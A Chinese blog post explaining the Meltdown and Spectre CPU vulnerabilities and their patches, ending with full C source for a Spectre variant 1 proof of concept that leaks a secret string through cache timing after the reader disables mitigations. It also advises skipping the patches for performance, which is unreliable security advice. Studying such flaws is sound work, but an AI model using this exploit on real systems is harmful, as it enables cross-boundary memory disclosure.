熔断、幽灵分析以及模拟攻击、防范

这一生的挚爱 提交于 2020-01-06 20:29:10

熔断、幽灵分析以及模拟攻击、防范

  • 背景
  • 主要技术分析
    1. 当代cpu的存取器体系结构
    2. 乱序执行
    3. 分支预测
    4. 边信道攻击
  • 熔断、幽灵攻击分析
    1. 熔断
    2. 幽灵
  • 补丁防范
  • 补丁带来的影响
  • 攻击演示
  • 源码展示

背景

      当代cpu为了提高性能,而使用了了两项看似毫无纰漏的技术:乱序执行和分支预测。拥有这两项技术,cpu就可以不再局限于只是按顺序执行操作、也不在局限于等待条件判断完成后再执行语句的主题语句,这样cpu就可以超前执行那些相关性不强的代码或者先将语句中变量加载到内存、cache,充分的利用cpu中的空闲单元,极大的提高cpu的效率。
      对于乱序执行,初看起来好似没有纰漏,但是对于分支预测,问题就出来了:如果分支预测失败,怎么办?Intel等cpu生产商也对这种情况做了除理,如果分支预测失败,那么cpu就会回滚到分支预测前的状态,还原本应有的寄存器等,这样程序就可以从分支判断再次执行。
      可现实是,这两项技术都在未判断是否有权限访问数据的时候就,对将数据加载到了cache。如果分支预测失败,虽然cpu回滚了,但是我的cache仍然没有回滚,这样就导致了信息的泄露。

主要技术分析

  1. 当代cpu的存储器体系结构:
         根据课程我们知道,cpu在访问内存时,会先将内存中的数据加载到cache中,再从cache中访问。cpu在访问cache时的速度要远远快于访问主存中的数据。不同的进程的数据会被存放在内存的不同部分,并且通过操作系统对于权限的判断,一个进程不能对其他进程的内存中的数据进行修改。不同的进程却都能够访问cache,并对cache中的中的数据进行操作。
  2. 乱序执行
         cpu并不会严格的按照代码的顺序去依次执行程序,而是会乱序执行。
         举一个简单的例子:这里有3条语句:
    a. mov rax (rdx) b. add rax $123 c. mov rcx (rbx) 。
         如果按照顺序执行的方式,cpu会依次执行这三条语句,先将内存中的数据放到rax中,在对rax中的数据做加法,再将rbx中的数据放到rcx中。这样可以发现,c指令需要的内存加载模块,在b指令处理时是闲置的。科学家可不象这样的资源浪费,所以乱序执行就应运而生。根据乱序执行:cpu可能会在a执行结束后就湘江c中的数据加载到cache中,这样c语句的执行就会快很多。
         注意这里并没有对进程的权限进行判断,如果说c语句访问的数据这个进程并不能修改,但是乱序执行仍会将他加载到cache中,只不过在执行c语句时,操作系统会进行权限的判断,如果发现进程并没有权限,就会放弃乱序 执行的结果,回滚到最初的状态重新依次执行。
  3. 分支预测
         cpu并不会向我们代码编写的那样,先进行if的判断,在执行相应的分支,而是会预先执行分支中的语句。
         举一个简单的例子:if (a>b) {c = array[123456789];}
         一般按照我们期望的,cpu先回判断if中的条件判断语句,再去执行主体中的内存访问赋值语句,这样在判断语句执行的时候,cpu不会执行内存加载,这样就会浪费内存加载模块的资源。分支预测技术可以减少这种资源的浪费,对于这样的语句,它允许操作系统先将对应的数据加载到cache中,之后如果条件判断正确,就执行主体语句,这样主体语句在访问内存时就回去访问cache而不是内存,时间就被节省下来了。
         但是如果分支预测失败,那么cpu的状态信息就会被回滚还原,但是cache中的数据还是保持不变。
  4. 边信道攻击
         边信道攻击是一种新型的破解密码的攻击方式,它主要利用加密电子设备在运行过程中的时间消耗、功率消耗或电磁辐射之类的侧信道信而对加密设备进行攻击。
         举一个例子:我们现在要破译一段密码:345,采用最垃圾的暴力破解的方式。第一次我们测试1,发现程序运行很短的时间后就退出;之后测试2,发现和测试1时有一样的结果;在测试3,这时我们发现测试3时的结果要比测试1、2时的结果花费的时间要长,这是因为测试3时我们又要测试3的下一个数据。可以利用这种事件上的差异来获取信息:密码的第一位是3,之后根据同样的原理来破解密码的其他位。

熔断、幽灵攻击分析

熔断:当代cpu的存储器体系结构、乱序执行、边信道攻击
     还是用刚刚的3条语句:
a. mov rax (rdx) b. add rax $123 c. mov rcx (rbx)
     采用乱序执行的方式,cpu在执行a语句的同时将c语句中的内存位置的信息加载到cache中,这个加载的过程忽略了权限的判断,所以此时cache中有:(rdx)、(rbx)。之后再执行b语句、c语句,在执行c语句时发现并没有权限,所以放弃乱序执行的结果,回滚到最初的状态依次执行。此时cache中的信息没有还原。之后我们通过边信道攻击来测试数据,发现对于某一个数据的访问要远远快于其他数据的访问(因为访问cache中的数据要快于访问内存中的数据),那么就可以知道该数据在cache中,并且可以反推回它的内存地址。

幽灵:当代cpu的存储器体系结构、分支预测、边信道攻击
     也用当时的if语句:
if (a>b) {c = array[123456789]}
     在执行if判断之前,cpu先将array[123456789]的数据加载到cache中,之后进行判断,发现a<b,这样cpu回滚到原来的状态,但是cache中的信息并没有恢复。之后与熔断一样,通过边信道攻击来测试数据,发现对于某一个数据的访问要远远快于其他数据的访问(因为访问cache中的数据要快于访问内存中的数据),那么就可以知道该数据在cache中,并且可以反推回它的内存地址。

补丁防范

     因为这两个漏洞允许程序跨过权限来访问其他程序的数据,据有很大的安全隐患(最简单的就是你访问的网站快过了你的操作系统的判断来获取你qq的账号密码),所以在这两个漏洞公布出来后,各大cpu厂商就投入到了补丁的研发过程,并且很快就有了结果,因为这两个漏洞运用了操作系统与硬件的知识,所以很多领域都给出了回应:

  1. 芯片厂商
    Intel
         Intel已经确认自身CPU中存在相关问题,并正与包括AMD、ARM和多家操作系统厂商在内的许多其他科技公司紧密合作,制定行业范围的方法,以便及时和建设性地解决这些漏洞。另外Intel认为有些媒体里面的报道并不准确,这些问题不仅仅Intel,其他厂商的CPU中也存在相关问题。这些问题的修复对性能的影响和具体的工作场景相关,对一般用户而言,影响并不显著,而且随着时间的推移这些影响都会得到缓解。
    ARM
         ARM确认大部分处理器不受漏洞影响,但给出了一个受影响的处理器列表。ARM认为,利用这些漏洞进行攻击需要在本地运行恶意软件,用户及时更新软件和不点击来历不明的链接会降低攻击风险。针对linux上的程序,ARM提供了新编译器,可用新编译器重新编译。另外发布了Linux ARM内核补丁,用于修补漏洞。

  2. 操作系统
    Windows
         微软已经发布了安全通告,修复了IE、Edge、Windows内核中相关问题,并针对普通用户、服务器用户、云用户各自给出了防护指南。
    微软普通用户:https://support.microsoft.com/help/4073119
    服务器用户:https://support.microsoft.com/help/4072698
    云用户:https://support.microsoft.com/help/4073235
    微软安全通告:
    https://support.microsoft.com/en-us/help/4073235/cloud-protections-speculative-execution-side-channel-vulnerabilities
    不同版本的对应补丁:
    Windows Server (Server Core) v 1709 - KB4056892
    Windows Server 2016 - KB4056890
    Windwos Server 2012 R2 - KB4056898
    Windows Server 2012 - N/A
    Windows Server 2008 R2 - KB4056897
    Windows Server 2008 - N/A

    Linux
         Linux内核开发者Thomas Gleixner在2017年12月在Linux内核邮件列表中就新的KAISER隔离补丁发布了说明。目前有人怀疑这批补丁可能正是为了解决Linux系统当中的Metldown与Spectre 漏洞。具体如下:
    https://lkml.org/lkml/2017/12/4/709
    补丁:
    SUSE Linux - 7022512
    Ubuntu - Update on the patches
    安卓
          Android团队于2018年1月更新了安全通告:CVE-2017-5715、CVE-2017-5753以及CVE-2017-5754为已经得到公开披露的一系列与处理器内推测执行相关的漏洞。Android尚未发现任何在基于ARM的Android设备之上重现上述漏洞以进行的未授权信息泄露行为。为了提供额外的保护措施,本公告当中包含的CVE-2017-13218更新减少了对高精度定时器的访问,旨在限制旁路攻击(例如CVE-2017-5715、CVE-2017-5753以及CVE-2017-5754)所有已知变种对ARM处理器的影响。具体如下:
    https://source.android.com/security/bulletin/2018-01-01

  3. 浏览器
    Microsoft Edge
         微软发布了浏览器补丁:
    https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV180002
    FireFox
         Mozilla从FireFox 57版本开始采取了这两个缓解措施:
    https://blog.mozilla.org/security/2018/01/03/mitigations-landing-new-class-timing-attack/
    Chrome
         谷歌从Chrome 64版本开始采取了这两个缓解措施:
    https://security.googleblog.com/2018/01/todays-cpu-vulnerability-what-you-need.html

补丁带来的影响

     因为这两个漏洞分别是运用了两个技术:乱序执行和分支预测,这两个技术又可以提高cpu的工作效率,所以在操作系统层面的补丁势必会对这两项数据带来一定的影响,从而影响计算机工作的效率。
     也就是说:为了安全考虑安装了这两个漏洞的补丁,那么就会降低系统的性能,如果个人电脑上面没有什么机密的信息,就可以放弃这两个补丁的安装,以安全性换取更高的性能。

攻击演示

因为这个漏洞windows、linux都有,所以我做的是windows下的攻击演示:
因为新版windows10已经内嵌这两个补丁,用户没有自主选择权。所以在跑这个测试程序的时候需要将这两个补丁给关掉
我百度了一个软件:InSpectre
下载链接:https://www.grc.com/files/InSpectre.exe
这个软件可以关掉这两个漏洞的补丁。
环境:vs2019 x64模式
截图:
额,因为这个东西不能像linux一样有用户名证明是自己弄得,所以我就截图的时候多截了一点。

源码展示

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* 为下面的rdtscp 和 clflush 函数添加的头文件 */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* 为下面的rdtscp 和 clflush 函数添加的头文件 */
#endif


unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };       // 用来下标越界访问的数组
uint8_t unused2[64];
uint8_t array2[256 * 512];

const char* secret = "password is located here and is 12398745";       // 要窃取的密码

uint8_t temp = 0; /* 用了这个之后编译器就不会优化victim函数 */

void victim_function(size_t x) {                    // 恶意攻击函数
	if (x < array1_size) {
		temp &= array2[array1[x] * 512];
	}
}


#define CACHE_HIT_THRESHOLD (80) /* 如果读取时间小于80就认为数据在cache中 */

/* 包括训练分支预测,用数组越界的方式访问密码 */
uint8_t readMemoryByte(size_t malicious_x) {
	static int results[256];
	int tries, i, j, mix_i; 
	unsigned int junk = 0;
	size_t training_x, x;
	register uint64_t time1, time2;
	volatile uint8_t* addr;

	for (i = 0; i < 256; i++)
		results[i] = 0;
	for (tries = 100; tries > 0; tries--) {       // 访问secret中的一个元素时,都访问许多次

		for (i = 0; i < 256; i++)
			_mm_clflush(&array2[i * 512]);  // 将array2的这块从cache中去除

		training_x = tries % array1_size;
		// 训练if语句,让它可以触发分支预测技术
		// 5次正确的判断,一次错误访问,这样可以触发分支预测,在错误访问时会将数据加载到cache
		// 正确的j = 1、2、3、4、5  错误的j = 0
		for (j = 5; j >= 0; j--) {                    
			_mm_clflush(&array1_size);
			for (volatile int z = 0; z < 100; z++) {} /* 延时 */

			// 训练if语言时,用位运算替代if语句,防止了在使用if语句而再次触发分支预测
			x = ((j % 6) - 1) & ~0xFFFF; // 等价于 if(j%6==0), x=fff  ; else x = 0
			x = (x | (x >> 16)); // 结合上一条语句等价于  if(j%6==0) x=-1;  else  x=0
			x = training_x ^ (x & (malicious_x ^ training_x));  // 结合上一条语句等价于  :if(j&6==0) x=malicious_x  else 0<=x<16 这样x就是array1中的正确数据 

			/* 调用恶意攻击函数,将目标加载到cache中 */
			victim_function(x);
		}
		/* 依次访问array2中的所有块,并找到时间最短的一块 边信道攻击的时间计算 */
		for (i = 0; i < 256; i++) {    
			mix_i = ((i * 167) + 13) & 255;          // 这个运算防止了cpu预测下一个读入的内存地址。  mix_i 与 i是一一对应的,知道两个中的任何一个可以求出另一个
			addr = &array2[mix_i * 512];
			time1 = __rdtscp(&junk); /* 开始读 */
			junk = *addr;     // 通过地址访问
			time2 = __rdtscp(&junk) - time1; /* 读取结束 */
			if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])  // 缓存命中并且要读的数据不是array1中的数据
				results[mix_i]++; 
		}

		/* 得到缓存命中最多次的那个元素,这个元素就是要切取的信息 */
		j = 0;
		for (i = 0; i < 256; i++) {
			if (results[i] >= results[j]) {
				j = i;
			}
		}
	}
	results[0] ^= junk; /* 防止编译器优化 */
	return j;
}

int main() {
	size_t malicious_x = (size_t)(secret - (char*)array1); /* 用malicious_x来实现从array1访问要破解的信息,整个程序只有这里用到了secret变量 */
	int i, len = 40;                   // len为要破解的数据的长度
	uint8_t value;
	printf("password is : %s\n",secret);
	for (i = 0; i < sizeof(array2); i++)
		array2[i] = 1; /* 保证array2在内存中不是写时复制的 */
	printf("Crack result: ");
	while (--len >= 0) {
		value = readMemoryByte(malicious_x++);
		printf("%c", (value > 31 && value < 127 ? value : '?'));      // 保证是个可打印字符
	}
	putchar('\n');
	system("pause");
	return (0);
}

参考文献

  1. Aeneasoftroy https://github.com/aeneasoftroy/cpp-spectre-meltdown-vulnerability-windows-test 有关windows下幽灵漏洞的验证。2018.3.10
  2. Ymir Vigfusson博士https://www.bilibili.com/video/av18144159?from=search&seid=15025420025283509282
    有关幽灵、熔断漏洞的原理讲解。2018-01-10
  3. https://www.grc.com/inspectre.htm有关inspectre软件的使用
  4. 又田https://www.leiphone.com/news/201801/TIV0ThWMtqMsyM3b.html
    有关熔断、幽灵漏洞原理的解释。2018-01-08
标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!